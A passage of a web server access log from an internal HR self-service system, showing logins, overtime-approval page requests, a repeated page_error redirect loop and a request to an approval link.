/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.76 - - [01/Dec/2025:14:52:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166883 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:52:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166883 192.168.40.52 - - [01/Dec/2025:14:52:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:52:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.52 - - [01/Dec/2025:14:52:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:52:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [01/Dec/2025:14:52:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:52:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:52:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:52:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.52 - - [01/Dec/2025:14:52:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:52:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.40.52 - - [01/Dec/2025:14:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 108853 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 108853 192.168.40.52 - - [01/Dec/2025:14:53:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132660%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132660&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132660%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132660&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:14:53:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:14:53:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 100.64.0.1 - - [01/Dec/2025:15:03:21 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB536F8B73144D1631DF0647541BE29E529865F50D3179FED06AB284A55B792447CCC4D8DA84953CD3C1 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:15:03:21 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB536F8B73144D1631DF0647541BE29E529865F50D3179FED06AB284A55B792447CCC4D8DA84953CD3C1 HTTP/1.1" 200 - 100.64.0.1 - - [01/Dec/2025:15:03:24 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB536F8B73144D1631DF0647541BE29E529865F50D3179FED06AB284A55B792447CCC4D8DA84953CD3C1 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:15:03:24 +0800] "GET 